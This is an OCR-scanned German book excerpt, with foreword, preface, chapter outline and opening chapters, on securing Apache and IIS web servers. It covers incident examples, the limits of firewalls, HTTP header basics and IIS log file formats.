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Geleitwort

Die Sicherheit von Programmen, von Betriebssystemen bis zur Anwendungssoft-
ware, wird oft besprochen, aber es wird viel zu wenig dafiir getan. Vielfach finden
Sicherheitserwédgungen erst im Nachhinein statt, eine fahrldssige Einstellung, hdu-
fig mit fatalen Folgen. Was grundsatzlich vergessen wird ist die Tatsache, dass Si-
cherheit von Anfang an eingeplant werden muss, um von Nutzen zu sein. Das war
schon Kklar, als ich vor einem Vierteljahrhundert eines der ersten Biicher iiber Da-
tensicherheit verdffentlichte (,Principles of Data Security”, Plenum Publishing
Corp., 1982). Leider hat sich seitdem das Panorama eher noch verschlechtert. Selbst
Software-Experten vergessen vielfach, dass Software mit Abstand die komplexeste
menschliche Schopfung ist. Zum Beispiel: Ein modernes Betriebssystem ist so
komplex, und daher ist es unvorstellbar, dass ein einziger Mensch oder selbst eine
kleinere Gruppe von Experten es vollig verstehen konnte. Es besteht aus Millionen
von Instruktionszeilen (z.B. Microsoft Vista beinhaltet etwa 65 Millionen Zeilen).
Damit gehort Software zu den komplexesten Dingen, die Menschen je entwickelt
haben. Das Bild verkompliziert sich noch mehr, weil bereits minimale Anderungen
der Instruktionen katastrophale, unvorhersehbare Auswirkungen haben konnen.
Daraus ergibt sich notwendig die Forderung, spatestens bei der Implementierung
von Software-Systemen, wie z.B. Web-Servern, auf Sicherheit und Qualitdt zu ach-
ten. Erstaunlicherweise begriindet sich der rechtliche Schutz von Software ledig-
lich auf dem Copyright, was Software mit Musik und Literatur gleichstellt und
damit funktionell eher bagatellisiert.

Es ist deshalb notwendig, grundsétzlich auf die spezifische Sicherheitsanfilligkeit
im Bereich der Software hinzuweisen und geeignete Schutzmafinahmen anzubie-
ten. Dieses Buch tut das fiir Web-Server. Etliche der Techniken kénnen aber durch-
aus auf Software allgemein angewendet werden. Allerdings sind Web-Server be-
sonders anfillig, denn ihr Zweck ist es letztendlich, das Leben des Benutzers so
einfach wie moglich zu machen. Leider ist dieses Ziel vielfach mit dem der Sicher-
heit schwer vereinbar, insbesondere wenn die Sicherheit erst im Nachhinein imp-
lementiert werden soll. Es ist deshalb unumgénglich, dass Sicherheit von Beginn
an in das Design und die Planungsphase einbezogen wird.



Geleitwort

Dieses Buch dient dem Zweck, Benutzern und Designern die Notwendigkeit klar
darzulegen, dass und wie Sicherheit vom Projektstart an zu berticksichtigen ist. Es
beschreibt klar und prazise, wie man das machen kann (und soll!). Es hat eine pra-
xis-bezogene Orientierung und gibt viele konkrete Beispiele. Es ist aktuell und fiillt
eine Liicke, da die meisten Biicher dieser Art nur in Englisch verfligbar sind.

Houston, im Mai 2007
Ernst L. Leiss
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Vorwort

Web-Server und die dazugehdrigen, angebotenen und im Zusammenhang stehen-
den Webdienste, wie Online Shops, Auktions- und Einkaufsportale, sind fiir Un-
ternehmen zu einem unverzichtbaren Thema geworden.

Wenn diese Dienste und ihre damit verbundenen Einnahmequellen so wichtig
sind, warum wird so wenig unternommen, um sie wirksam zu schiitzen?

Allein in den letzten Jahren wurden Web-Server bekannter Unternehmen und Or-
ganisationen von so genannten Hackern heimgesucht. Es sollen hier nur exempla-
risch einige genannt werden, die in Erinnerung geblieben sind:

09.01.2008 — Grof angelegte Angriffe auf Webserver [/34/]

29.11.2004 — Der Web-Server des Chaos Computer Clubs wurde gehackt und alle
Registrierungsdaten vom CCC-Camp 2003 gelangten an die Offentlichkeit. [/1/]

22.12.2003 — Die brasilianische Hackergruppe DRWXR hat 13 Web-Server der ame-
rikanischen Raumfahrtbehérde NASA gehackt.[/1/]

In weiteren Fillen wurden die Webseiten einiger Bundesbehorden in den USA
durch ein Defacing geéndert.

Auf der anderen Seite sind aber auch die Anwender, also Kunden und Besucher
der Webseiten, betroffen. Das Internet hat viele Dienste einfacher und schneller
zugéanglich gemacht, wie z.B. das Online-Banking oder das Einkaufen von allge-
meinen Dingen, wie Biicher iiber Amazon oder ersteigerte Produkte bei Ebay.
Denken wir an versendete Phishing Emails oder gehackte Accounts bei Ebay.

Andererseits wollen aber auch Mitarbeiter und Management in Unternehmen von
tiberall auf der Welt auf die Daten des Unternehmens zugreifen, um Kunden vor
Ort aktuelle Zahlen zu liefern, Emails zu lesen oder Bestellungen ins Warenwirt-
schaftsystem zu tiberspielen.

Administratoren sind oftmals in einer Zwickmiihle. Sie miissen ihre Systeme vor
unbefugten und unberechtigten Zugriffen absichern, aber die Bedienung und den
Zugriff so einfach gestalten, dass alle berechtigten Personen ohne aufwendige
Schulungen arbeiten konnen.

Erschwerend kommt hinzu, dass durch die immer schneller werdenden Internet-
anschliisse und Hardware Angriffe immer effektiver vorgenommen und koordi-
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Vorwort

niert werden koénnen. Als bestes Beispiel soll nur der DDoS-Angriff auf die Micro-
soft Update Seite 2004 angefiihrt werden.

Dieses Buch gibt Installationshilfen und Anregungen, wie Sie den Web-Server Ih-
rer Wahl schon mit den mitgelieferten ,Bordmitteln” und einfachen aber wirksa-
men Zusatzmodulen und Tools so sicher wie moglich installieren konnen. Dazu
werden Moglichkeiten genannt, wie Sie lizenzfreie und kommerzielle
Tools/Programme richtig einsetzen. In den ersten Kapiteln geben wir Ihnen einen
Einblick in die Struktur des Apache- und des IIS! Web-Servers.

Halten Sie sich und Ihren Vorgesetzten immer wieder vor Augen, was in einem
»~worst case” passieren kann. Kundendaten konnen in unbefugte Hande gelangen,
so dass das Vertrauen der Kunden in Ihr Unternehmen sinkt. Unternehmenslei-
tung und Vorstand kénnen bei einem nachgewiesenen Fehlverhalten zur Rechen-
schaft und zur Haftung herangezogen werden. Das Resultat ware dann mit einem
Ausdruck zu beschreiben, der jeden Vorgesetzten anspornen sollte, in die Sicher-
heit der eigenen EDV-Infrastruktur zu investieren: Umsatzriickgang.

Dieses Buch soll Ihnen dabei helfen, IThr Netzwerk besser zu schiitzen. Beachten Sie
bitte, dass ein Netzwerk niemals undurchdringlich gegeniiber einem Angriffsver-
such sein kann. Wann haben Sie zuletzt Thre Systeme iiberpriift? Was hat sich in
der Zwischenzeit alles geandert? Gibt es neue Systeme, Mitarbeiter, Funknetze,
Remote-Zuginge (erinnern Sie sich, dass Ihr Chef den unbedingt haben wollte...)?

Es soll hier kein Schreckensbild aufgebaut werden. Wir wollen mit diesem Buch
die Sensibilitat fiir das Thema IT Sicherheit wecken, erweitern und vertiefen, damit
Sie moglichst gut gegen das gewappnet sind, was drauflen vor Ihrer Firewall, aber
auch innerhalb Ihres Netzwerkes passiert. Aktuelle Meldungen, wie in der Zeit
von Ende Januar und Anfang Februar 2007 bis einschliefllich Februar 20082, sollten
immer wieder das Interesse fiir die Sicherheit der eigenen Systeme wecken.

Hamburg, im Januar 2008,
Prof. Dr. H.-D. Knéll und Dipl.W.Informatiker & M.Sc. Volker Hockmann

1 Internet Information Services, vorher Internet Information Server
2 www heise.de/newsticker/meldung/84400, www heise.de/newsticker/meldung/84956 und
http://www .heise.de/security/Root-Exploit-fuer-Linux-Kernel--/news/meldung/103279
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1 Ziel dieses Buches

Dieses Buch soll Ihnen dabei helfen, Ihren Web-Server und Thr Netzwerk besser zu
schiitzen. Wir geben Ihnen Installationshilfen und Anregungen, wie Sie den Web-
Server Threr Wahl schon mit den mitgelieferten , BordmitteIn” und einfachen aber
wirksamen Zusatzmodulen und Tools so sicher wie moglich installieren koénnen.
Dazu werden Moglichkeiten genannt, wie Sie lizenzfreie und kommerzielle Tools
und Programme richtig einsetzen. Wir wollen mit diesem Buch die Sensibilitét fiir
das Thema IT-Sicherheit wecken, erweitern und vertiefen, damit Sie moglichst gut
gewappnet sind gegen das, was drauflen vor ihrer Firewall, aber auch innerhalb
Ihres Netzwerkes passiert oder passieren kann.

Es soll hier keine allgemeine Verunsicherung verbreitet werden. Aber in Presse,
Rundfunk, Fernsehen oder Newsforen im Internet erfahren Sie tdglich von neuen
Vorféllen der Internet-Kriminalitit (siehe dazu das néachste Kapitel.).

Administratoren sind oftmals in einer Zwickmiihle. Sie miissen ihre Systeme vor
unbefugten und unberechtigten Zugriffen absichern, aber die Bedienung und den
Zugriff so einfach gestalten, dass alle berechtigten Personen ohne aufwendige
Schulungen arbeiten kénnen. Dies gleichzeitig zu gewdahrleisten ist keine leichte
Aufgabe. Die Lektiire dieses Buches und die Umsetzung unserer Ratschlage wird
Sie in Ihrer wichtigen Aufgabe unterstiitzen.

Unser Buch ist wie folgt gegliedert:

Am Anfang werden theoretische Grundlagen gelegt: Nach allgemeinen Ausfiih-
rungen in Kapitel 2 {iber die Notwendigkeit der Sicherheit von Web-Servern und
Formen der Internetkriminalitdt geben wir in Kapitel 3 einen Einblick in die Struk-
tur des Apache- und des IIS Web-Servers. In Kapitel 4 behandeln wir die Grundla-
gen von Protokollen, Datenverkehr und Logfiles, die zum Verstiandnis der nach-
folgenden Kapitel notwendig sind. In Kapitel 5 werden die Zugriffsmethoden auf
Daten beschrieben, die bei Web-Servern moglich sind, und in Kapitel 6 behandeln
wir die im WWW verwendeten Programmiersprachen mit ihren Starken, aber auch
Schwichen.

Die néchsten Kapitel, beginnend mit Kapitel 7, beschreiben die Angreifer auf Web-
Server und ihre Methoden. In Kapitel 8 zeigen wir, wie Sie die Verwundbarkeit Ih-
res Web-Servers in einem Penetrationstest priifen konnen. In Kapitel 9 wird ge-
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zeigt, wie einfach die Informationsbeschaffung von einem ungeschiitzten Web-
Server fiir Kriminelle funktioniert.

Nach der detaillierten Behandlung der Architekturen und Funktionsweisen des
Apache Web-Servers (Kapitel 10) und des Microsoft IIS (Kapitel 11) zeigen wir in
Kapitel 12 und 13 im Sinne einer Schwachstellen-Identifikation, wie Angriffe auf
diese beiden Web-Server durchgefiihrt werden konnen.

SchliefSlich behandeln wir in Kapitel 14, wie Sie Ihren Web-Server gegen Angriffe
absichern konnen, und in Kapitel 15, was nach einem erfolgten Angriff zu tun ist.
In Kapitel 16 ziehen wir das Fazit.



2 ,Wir sind sicher — Wir haben eine Firewall”

Die Behauptung , Wir sind sicher — Wir haben eine Firewall” horen Administrato-
ren und Sicherheitsbeauftragte in den Unternehmen mehr als einmal in ihrem Be-
rufsleben von ihren Vorgesetzten. Wenn sie dafiir jedes Mal einen Extratag Urlaub
bekommen héitten, wiirden viele schon im wohlverdienten und bezahlten Vorru-
hestand weilen.

Natiirlich sichert eine Firewall ein Netzwerk in einem gewissen Sinne gegen An-
griffe ab, aber bei weitem nicht ausreichend. Eine herkdmmliche Firewall kann
zwar z.B. Ports freigeben oder blocken, jedoch bietet sie allein keinen ausreichen-
den Schutz gegen das Eindringen Unbefugter in das Netzwerk des Unternehmens.

arbeiten Ansicht Chronlk Lesezeichen Extras Hilfe
< "I‘ [l hitp:hwww, britneyspears de/ x| ] Gl
| Started [y Latest BBC Headlines

XTech Inc Owned the Music Indusiry... and the rest of it ;)

We are: [+] Status-x [+] Pablin?7 [+] Furtive [+] Sys7ech !
Let's get this party started....
Greetz for: My Group, Eddy BAcKUo, Crackers Child, nwx0x, IntOxic Team, zakix, irldex, eno7, Latin American Defacers, Byond Crew, Apocalypse !

Mail for me ? Sys7echat]Gmall[.]JCom

Abbildung 1: Defacing von Kiinstlerseiten bei Sony BMG
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Meldungen? zeigen immer wieder, wie wichtig das Problembewusstsein fiir die Si-
cherheit der eigenen Systeme ist. Sie mochten sicher nicht, dass Sie als Verantwort-
licher fiir die IT oder die Internet-Seiten an einem Montagmorgen von Ihrem Chef
angerufen werden, der Ihnen Fragen nach der neuen Homepage stellt (siche Ab-
bildung 1).

Innerhalb der letzten Jahre wurden Web-Server bekannter Unternehmen und Or-
ganisationen von sogenannten Hackern heimgesucht, wie die vom Chaos Compu-
ter Club,* der Firma SCO und der amerikanischen Raumfahrtbehérde NASA [/1/].

In weiteren Féllen wurden durch ein Defacing die Webseiten einiger Bundesbe-
horden in den USA geandert.

Bedingt durch die immer schneller werdenden Internetanschliisse und leistungs-
fahigere Hardware konnen Angriffe immer effektiver vorgenommen und koordi-
niert werden. Das bedeutet, dass Entwicklungen, die die Effizienz der IT der Un-
ternehmen steigern, leider auch von Kriminellen zum Schaden der Unternehmen
genutzt werden konnen, es sei denn, dass dies durch Sicherheitsvorkehrungen
unmoglich gemacht wird. Als bestes Beispiel soll hier nur der DDoS-Angriff auf
die Microsoft Update Seite 2004 angefiihrt werden.

Laut Handelsblatt® unterschétzen vor allem mittelstédndische Unternehmen die Ge-
fahren, die aus der IT im Allgemeinen und dem Internet im Speziellen drohen.
Deshalb sollten Sie sich und Ihren Vorgesetzten immer wieder vor Augen halten,
was in einem , worst case”-Scenario passieren kann: Es konnten Kundendaten wie
z.B. Kreditkartennummern in unbefugte Hande gelangen. Das Vertrauen der Kun-
den in Ihr Unternehmen nach einem solchen Vorfall ist erschiittert. Unternehmens-
leitung und Vorstand konnen bei einem nachgewiesenen Fehlverhalten zur Re-
chenschaft und somit zur personlichen Haftung herangezogen werden. Das Resul-
tat ware verheerend: vom drohenden Umsatzriickgang bis zum Bankrott des Un-
ternehmens. Diese gravierenden Folgen sollten doch jeden anspornen, in die Si-
cherheit der eigenen IT-Infrastruktur zu investieren.

Jedoch reicht es nicht aus, einzelne Sicherheitsmafinahmen isoliert zu implementie-
ren. Ein Beispiel fiir “Security by Obscurity”, d.h. nicht zu Ende durchgefiihrte Si-
cherheitsmafinahmen, ist ein drastischer Fall aus Italien bei einer Filiale der Banco
di Brescia. Diese Filiale hatte ihren Zugang zum Bankgeb&ude {iber ein biometri-
sches System geschiitzt. Wenn ein Kunde in die Bank wollte, musste er sich iiber
seinen Fingerabdruck ausweisen. Doch der eingescannte Fingerabdruck wurde
nicht mit einem Referenzabbild des Fingerabdrucks verglichen, sondern nur zur

Shttp://www .heise.de/newsticker/meldung/84400
4Vgl. http://www.ccc.de
SHandelsblatt. Donnerstag, 10.Mai 2007



2, Wir sind sicher — Wir haben eine Firewall”

Abschreckung gespeichert: ,Wer seinen Fingerabdruck beim Betreten der Bank
abgibt, wird schon nicht auf die Idee kommen, die Bank zu {iberfallen”, so dachte
es sich die Filialleitung. So viel zur Theorie. Zwei findige Bankrduber verschafften
sich Zugang zur Bank mit einem abgetrennten Finger einer unbekannten Person,
tiberfielen die Bank und entkamen unerkannt. Die Tater wurden bis heute nicht
gefasste.

“To rise from error to truth is rare and beautiful” (Victor Hugo, franz. Poet und Dra-
matiker, 1802-1885).

¢http://www .ilmessaggero.it/index.php?data=20070127 &pag=42&dorso=NAZION
ALE&ediz=01_NAZIONALE&vis=G&ps=0&tt=P und
http://www .heise.de/newsticker/meldung/84425
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Computer und dazugehorige Systeme (Betriebssysteme, Anwendungen etc.) geho-
ren zum tédglichen Leben, sei es im Biiro oder auch im privaten Gebrauch. Alle
Anwender mochten Daten empfangen und versenden. Man mochte immer ,,online
sein”, der Zugriff auf Daten und Dienste muss permanent moglich sein. Compu-
tersysteme gibt es fiir die unterschiedlichsten Anwendungsbereiche, mehr oder
weniger passend mit verschiedenen Merkmalen. Ein Merkmal einer Reihe heutiger
Computersysteme ist der Mangel an Sicherheit. Sicherheitsaspekte wurden bei der
Konstruktion vieler Computersysteme einfach nicht mit beriicksichtigt (von weni-
gen Ausnahmen abgesehen, z.B. Hochsicherheitsanlagen im Steuerungsbereich
von Atomkraftwerken, die mehrfach redundant ausgelegt sind). Fiir das Internet
und die dort erreichbaren Server und Dienste beispielsweise trifft dies ganz sicher
zu.

Die Konstrukteure und Entwickler sahen die Anwendung ihrer Gerate eher in ei-
nem Umfeld aus sich gegenseitig vertrauenden und integeren Personen und An-
wendern. Daher war Sicherheit im Sinne von missbrauchlicher Verwendung kein
Thema. Die ersten Server, die ihre Dienste im Internet angeboten haben, hatten ein
vom Betriebssystem implementiertes Vertrauensverhaltnis (in Unix-Systemen wird
dazu die Unix-Datei rhosts genutzt), so dass ein Anwender auf einem Server, der
auf dem eigenen System so genannte root-Rechte, also ebenfalls Administrations-
rechte hatte, automatisch auf dem anderen Server diese administrativen Rechte be-
safd.

Viele Unix-Systeme, die noch nicht per Update auf den neuesten Stand gebracht
wurden, sind somit duflerst anfallig und konnen problemlos von einem Angreifer —
in der Presse wird immer vom Cracker oder Hacker gesprochen — iibernommen
werden.

Im Laufe der Zeit haben sich das Umfeld und das Einsatzgebiet von Computern
geandert. Computersysteme werden heute von Millionen von Personen aus allen
Gesellschaftsschichten und Kulturen fiir eine Unmenge von Zwecken eingesetzt.
Dienste, wie das Online-Banking und Shopping, Nutzen von Auktionen bei Ebay
oder der Informationsaustausch per Email und Download, werden als selbstver-
standlich angesehen. Fatalerweise bewegen sich in diesen Bereichen verstarkt auch
Personen, die diese angebotenen Dienste missbrauchlich nutzen und in Systeme
eindringen, um sich und Dritten Vorteile zu verschaffen. Diese Vorteile konnen
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z.B. Forschungsergebnisse, Geschifts- oder Kundendaten sein. Es kann also nicht
mehr davon ausgegangen werden, dass es so etwas wie einen von allen Anwen-
dern respektierten und eingehaltenen Ehrenkodex gibt, der die missbrauchliche
Verwendung verbietet. Dieser Ehrenkodex, auch unter der Bezeichnung Hacker-
Ethik zu finden, wurde in den 60er und 70er Jahren in sechs Forderungen definiert
[KYAS/CAMPOO00]. Doch finden sich diese urspriinglichen Ziele in der heutigen
Szene nur noch selten wieder bzw. werden immer seltener beachtet.

Daher ist ein gewisser Anteil von Missbrauch eine beinahe alltdgliche Erscheinung.
Dass es diesen gibt, wird durch Studien, Presseberichte und auch durch , Erfah-
rungen aus dem Alltag” (Computerviren sind in diesem Zusammenhang das be-
kannteste Beispiel fiir eigene Erfahrungen) belegt.

Mit zunehmendem Einsatz der EDV-Technik wird eine Gesellschaft jedoch von ihr
abhéngig. Ein Ausfall oder eine Beeintrachtigung der Funktionsweise von EDV-
Anlagen kann gravierende Auswirkungen auf die Wirtschaft und auf die Sicher-
heit von Personen haben. Als Beleg fiir diese Aussage sollen in diesem Zusam-
menhang die Besorgnis und die Vorkehrungen im Zusammenhang mit der Da-
tumsumstellung auf das Jahr 2000 angefiihrt werden.

Der relativ glimpfliche Verlauf dieser Datumsumstellung steht damit nicht im Wi-
derspruch. Man braucht sich nur vorzustellen, dass die Umstellung nicht so rei-
bungslos verlaufen ware, und sich die Folgen vor Augen fithren. Was gestern die
Datumsumstellung war, kann morgen etwas anderes, z.B. ein besonders ,aggres-
siver” Virus, sein, wie der ,I Love You-Virus” Mitte des Jahres 2000 oder der
,Blaster-Virus” und der ,Sobig-Wurm?” im Jahr 2003 (unter anderem DDoS-
Angriff auf die Microsoft Update Web-Server).

Allein fiir das Jahr 2003 wurden nach Schitzungen 10,4 Milliarden Euro Schaden
durch Spam, 8,4 Milliarden Euro Kosten durch Viren und 1 Milliarde Euro Verlus-
te durch Hackerangriffe verursacht [/2/]. Der ,MyDoom”-Virus in seinen beiden
Varianten ,,A” und ,,B”, der im Januar/Februar 2004 millionenfach im Internet ver-
sendet wurde, hat bis zum 2.02.2004 einen Schaden von umgerechnet US$ 21 Milli-
arden angerichtet [ABENDBLATT04]. Demgegeniiber stehen Aussagen und Zah-
len, aus denen hervorgeht, dass nur ca. 25% deutscher Unternehmen einen ver-
antwortlichen Beauftragten fiir die Themen Datenschutz und Datensicherheit ha-
ben [/3/] und die meisten Unternehmen noch im Jahr 2002 mehr Geld fiir Kaffee
ausgaben als fiir ihre IT-Sicherheit [/4/].

7 Néahere Infos zu diesen Viren siehe unter http://vil.nai.com/vil/alphar.asp
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Dabher ist die Losung von Sicherheitsproblemen von eminenter Bedeutung. Dafiir
gibt es eine Fiille (in den meisten Fillen sogar eine ausreichende Menge) an
brauchbaren und verlédsslichen Methoden und Verfahren, um Computersysteme
hinreichend sicher zu machen. Diese Methoden miissen allerdings richtig ange-
wandt und soweit wie moglich in die Computersysteme integriert werden (leider
werden Sicherheitsprodukte heute oftmals nachtréglich zu bestehenden Systemen
hinzugefiigt und konnen daher eventuell umgangen werdens). Und das Wichtigs-
te: Die Sicherheitsproblematik muss verstanden werden.

Die Ziele, die es mit den Sicherheitsprodukten zu erreichen gilt, miissen eindeutig
definiert sein. Was man mit einem Sicherheitsprodukt verhindern will, muss deut-
lich gemacht werden. Was erreicht und verhindert werden soll, steht in Zusam-
menhang mit der Arbeit, die mit einem EDV-System erledigt wird. In den meisten
Fallen ist ein EDV-System Teil einer Organisation (z.B. Firma, Behorde etc.). Ge-
nauso, wie technische Losungen fiir die Sicherheitsprobleme in das technische
Produkt (Computer) integriert sein sollen, sind organisatorische Losungen fiir die
Sicherheitsprobleme in eine Firma oder eine Behorde einzuarbeiten.

Durch das stetig wachsende Interesse an Computern ist der Begriff ,Hacker” auch
fiir , Nicht-Computerbesitzer” langst kein Fremdwort mehr. Im letzten Jahrzehnt
gab es kaum eine Grenze, die ein Hacker nicht tiberschritten hétte. In den Medien®
werden immer wieder Schlagzeilen gemeldet, in denen Webseiten!?, Web-Server!!
und Datenbanken gehackt wurden. So wurden allein im Juli und im August 2003
die Web-Server von Microsoft [/4/] und der NASA in den USA sowie die Server
des Online-Spiels , Dark Age of Camelot” [/7/] durch so genannte DoS-Angriffe (De-
nial-of-Service) angegriffen. Microsoft gab einen Tag spater folgende Meldung be-
kannt [/7/]: “Microsofts Website ist am Freitagabend deutscher Zeit Opfer einer Denial-of-
Service-Attacke geworden. Wie US-Quellen berichten, wurden die Server durch extrem
hohen Traffic fiir eine Stunde und 40 Minuten lahm gelegt. Microsoft bestitigt den Vorfall
in einem Bulletin und deutet an, dass eine polizeiliche Untersuchung eingeleitet worden
sei. In der Mitteilung versichert der Software-Riese, der Angriff stehe in keinerlei Zusam-
menhang zu einer bekannten Schwachstelle in seiner Software.”

Die IT-Fachmesse Systems-World (Miinchen) meldete im Juli 2003 in ihrem News-
letter [/6/] fiir das erste Halbjahr 2003 13,7% mehr Internet-Attacken im Vergleich
zum ersten Halbjahr 2002. Der Bericht beruft sich auf die Ergebnisse des Sicher-

8 Das Prinzip des ,, schwachsten Gliedes in der Kette”
° Vgl. dazu http://www heise.de.
10 Z.B. im Sommer 2001 die Webseiten von Yahoo, Amazon und Quelle [/1/]

11 Z.B. im Sommer 2000 der Application-Server von Microsoft mit dem Sourcecode
zu Windows 2000
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heitsspezialisten Internet Security Systems'? (ISS). Laut ISS wurde der Port 80, also
der Standardport eines Web-Servers, am haufigsten attackiert (45,54%).

Diese Arbeit wird sich mit den theoretischen Grundlagen der IT-Sicherheit, den
Begriffsbestimmungen befassen und im Anschluss daran praxisnahe Beispiele fiir
Attacken auf die Web-Server der Firma Microsoft, dem IIS Web-Server, und der O-
pen Software Foundation, dem Apache Web-Server, erldutern und nachstellen. Es
soll die Frage geklart werden, ob und wie ein Unternehmen sich gegen Attacken
wehren kann. Zu diesen Attacken gehoren sowohl Zugriffe aus dem Internet als
auch aus dem lokalen Netzwerk eines Unternehmens, um Angriffe eigener Mitar-
beiter zu simulieren.

Was kann aus diesem Kapitel auf das eigene Netzwerk iibertragen werden?

Haben Ihre Systeme eine Vertrauensstellung gegeniiber anderen Systemen? Sind
Ihre Systeme aktuell oder hitten diese Systeme nicht schon lange auf die nachst-
hohere Betriebssystemversion mit allen aktuellen Patchstanden erweitert werden
miissen?

Vielleicht gibt es auch noch Systeme, die einen veralteten Virenscanner haben oder
nicht in das automatische Verteilungssystem der Updates integriert worden sind?
Haben Sie noch Testsysteme im Netzwerk integriert, die nach dem letzten Re-
leasewechsel oder nach Beendigung eines Projektes noch nicht entfernt wurden
und weiter fleifSig vor sich hin ,testen”?

Hatten Sie einen Personalwechsel in Ihrem EDV-Team? Miissen Passworter ange-
passt werden? Wurden die Zugangssysteme, die eine Verbindung aus dem Inter-
net oder eine Einwahl regeln (VPN-Verbindungen etc.), aktualisiert und mit neuen
Passwortern versehen?

12 Vgl. dazu www.iss.net.

10



4 Protokolle, Datenverkehr und Logfiles

Nahezu jedes Programm, jeder laufende Dienst legt in irgendeiner Form Logfiles
an. Diese beinhalten neben Datum, Uhrzeit auch weitere fiir den Administrator
wichtige und hilfreiche Informationen. Jeder Administrator muss seine Protokolle
kennen und sollte wissen, wo sie auf dem Server gespeichert sind und was in die-
sen Logfiles zu finden ist.

In den folgenden Kapiteln werden die wichtigsten Protokolle und Logfiles aufge-
listet, die im Zusammenhang mit den Apache und IIS Web-Servern stehen und wie
diese analysiert und ausgewertet werden konnen.

In einer grofieren Serverlandschaft sollten auf jeden Fall professionelle Tools zum
Einsatz kommen, um diese Files zu iiberwachen und zu kontrollieren. Ansonsten
verliert ein Administrator sehr schnell den Uberblick und — was noch gravierender
und geféhrlicher ist — auch die Lust, sich durch den téglich anfallenden Datenver-
kehr zu kampfen.

Hier bieten z.B. IBM mit der , Tivoli Enterprise Console”1? oder Computer Associa-
tes mit ihrem , Unicenter TNG“** eine Hilfe oder bei kleineren Umgebungen Open-
Source Tools, wie den ,IIS Log Viewer“®s oder , Weblogmon*“1¢, ihre Dienste an.
Beide Tools geben Informationen iiber die IP-Adresse des aufrufenden Browsers,
sowie Hinweise zum Anwender und zur Auslastung der Web-Server.

4.1 HTTP-Header

Bevor wir uns mit dem Aufbau, den Unsicherheiten und Absicherungen von Web-
Servern befassen, soll erst einmal auf ein paar grundlegende Dinge eingegangen
werden, was es im weiteren Verlauf des Buches und Ihrer Arbeit an Ihren Syste-

13 http://www.ibm.com
1 http://www.ca.com
15 http://sourceforge.net/projects/iislogviewer

16 http://sourceforge.net/projects/weblogmon

11
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men vereinfachen wird, die Meldungen und Log Files zu lesen, zu verstehen und
zu deuten.

HTTP steht fiir Hypertext Transfer Protocol und ist ein Protokoll, das Daten auf
einem Netzwerk transportiert. Seine hauptsachliche Aufgabe besteht darin, Web-
seiten und andere Daten von einem Web-Server auf einen Browser zu libertragen.
Angesiedelt im Schichtenmodell ist das HTTP-Protokoll in der Anwendungs-
schicht, also der obersten Schicht. Die Anwendungsschicht (Layer 7 im ISO/OSI
Schichtenmodell, im Internet-Schichtenmodell ist es auf Layer 4 angesiedelt) ist fiir
die Darstellung der Daten zustdndig und bedient die Anwendungsprogramme, in
diesem Fall den Webbrowser.

HTTP ist ein zustandsloses Protokoll und wird dementsprechend nach einem Da-
tentransfer keine Verbindung mit dem Web-Server aufrecht erhalten. Fiir eine wei-
tere Dateniibertragung muss eine erneute Verbindung aufgebaut werden. Um da-
fiir die Sitzungsdaten auf dem Client zu speichern, hilft man sich mit Cookies, die
iiber die Anwendungsschicht transportiert werden.

Zur Kommunikation wird das Transportprotokoll TCP benutzt. Anhand des nach-
folgenden Beispiels soll der Ablauf dargestellt werden. HTTP ist ein so genanntes
Kommunikationsschema, mit dem sich Informationen und Bilder von einem ent-
fernten Rechner auf den eigenen Client iibertragen lassen.

Wenn Sie auf einen Link klicken, z.B. ,http://www.server.de/index.html”, wird die
folgende GET-Anfrage vom Browser an den Server gesendet:

GET /index.html HTTP/1.1

Host: www.server.de

In diesem Header konnen noch weitere Informationen, wie Angaben zum verwen-
deten Browser, Spracheinstellungen etc., enthalten sein. Der Web-Server seinerseits
sendet eine Antwort an den Browser zuriick, sobald die Anfrage eine Leerzeile
enthalt.

HTTP/1.1 200 OK

Server: Apache/1.3.34 (UNIX) PHP/4.3.1
Content-Length: 1033 (GrdfSe von index.html in Byte)
Content-Language: de

Content-Type: text/html

Connection: close

12



4.2 Protokolldateien des Microsoft Internet Information Services

Dieser Aufbau des HTTP-Headers ist fiir spatere Analysen des ein- und ausgehen-
den Netzwerkverkehrs bedeutsam, um mit Tools wie Ethereal (seit 2006 Weiter-
entwicklung unter Wireshark bekannt) oder auch ModSecurity Probleme und (ver-
suchte) Einbriiche zu erkennen und zu analysieren. Nur dann sind Sie in der Lage,
geeignete Gegenmafinahmen zu treffen.

4.2 Protokolldateien des Microsoft Internet Information Services

Um einen Angriff oder eine Storung friihzeitig zu erkennen, miissen die Logfiles
des IIS bekannt sein. Der IIS stellt mehrere Logfile-Formate zur Verfiigung. Diese
jeweiligen Optionen konnen iiber die Einstellungen der Eigenschaften einer jeden
Webseite konfiguriert werden.

Der 1IIS legt seine Protokolldateien standardméfiig im Ordner ,%WIN-
DIR\ System32\ Logfiles” ab. Dieses Verzeichnis enthalt fiir jeden Web-Server und -
falls implementiert — jeden FTP-Server wiederum ein eigenes Verzeichnis. Es wird
taglich eine Protokolldatei erstellt und nach dem Datum benannt, z. B. ,DA-
TEJJMMTT log".

Fiir die Protokollierung stehen vier Protokollformate zur Auswahl:

- Microsoft IIS, das Standardformat des IIS, ist ein festes ASCII-Format und steht
seit der ersten Version des IIS zur Verfligung. Das ASCII-Format hat den Vorteil,
dass wesentlich mehr Informationen und Details aufgezeichnet werden als z.B. im
NCSA-Format (National Center for Supercomputing Applications). Die einzelnen
Informationen sind durch Kommata getrennt. Der Nachteil liegt jedoch in der nicht
verdanderbaren Formatierung des Layouts, das nicht angepasst werden kann. Ein
Beispiel dafiir konnte sein:

,1.2.3.4, guest, 05/30/99, 12:12:12, W3SVC, servername, 192.168.0.10, 76, 325, 1028,
200, 0, GET, picture.gif”

- NCSA ist ebenfalls, wie das Protokollformat Microsoft IIS, ein festes ASCII-
Format, welches nicht angepasst werden kann. Es werden nicht alle Informationen
in Bezug auf die Aktivititen um den IIS-Dienst gespeichert. Neben der aufrufen-
den IP-Adresse werden keine Informationen iiber authentifizierte Benutzer gespei-
chert. Dieses Dateiformat kann ebenfalls nicht fiir FTP-Sites verwendet werden. Im
Allgemeinen beinhaltet das NCSA-Format 8 Attribute.

- Remote Host Name = IP-Adresse oder Host-Name
- rfc931 = Der Remote Log-Name des User wird als ,-,, angezeigt

- User-Name = Bezeichner fiir den User Namen

13
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- Datum = Datum des Servers beim Zugriff

- Zeit und GMT Offset = Zeit und Differenz zur Greenwich Mean Time
- Request = Angeforderte Ressource und HTTP Request.

- Service Status Code = HTTP Status Code

- Bytes gesendet = Anzahl der gesendeten Bytes an den Client.

